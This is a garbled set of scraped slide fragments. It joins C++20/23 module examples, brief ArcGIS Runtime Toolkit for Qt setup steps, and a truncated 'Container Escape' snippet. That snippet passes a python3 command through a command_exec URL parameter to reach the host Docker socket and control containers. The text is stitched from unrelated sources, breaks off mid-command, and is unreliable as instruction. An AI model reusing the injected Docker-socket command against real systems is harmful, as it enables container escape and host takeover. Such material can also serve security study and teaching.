 constinit  consteval  co_await  co_return  co_yield  char8_t  New identifiers:  import  moduleModules7 Modules  Advantages  Replace header files  Modules explicitly state what "; } export auto GetWelcome() { return GetWelcomeHelper(); } }  Consume a module: // main.cpp import cppcon; int main() { std::cout << CppCon::GetWelcome(); }9 Modules  C++20 doesn’t specify if modularize the Standard Library in bigger modules  But, all C++ headers are “importable”, e.g.  import ;  Everything in is exported, including macros  Improves build throughput;

named modules are introduced:  import std;  Imports everything from std namespace from  C++ headers (e.g. std::sort())  C wrapper headers (e.g. std::fopen())  import std.compat;  Imports everything versions of the C wrapper headers (e.g. ::fopen()) Standard Library Modules42  Modern “Hello World”: import std; int main() { std::println("Hello World!"); } Standard Library Modules43 Agenda  C++23

• Where: - https://github.com/Esri/arcgis-runtime-toolkit-qt • How: - Clone the repository and import the path in .pro file in Qt Creator - Register your components in main.cppArcGIS Runtime Toolkit

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AKA Sandbox Isolation. • Container Escape docker.vh.neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers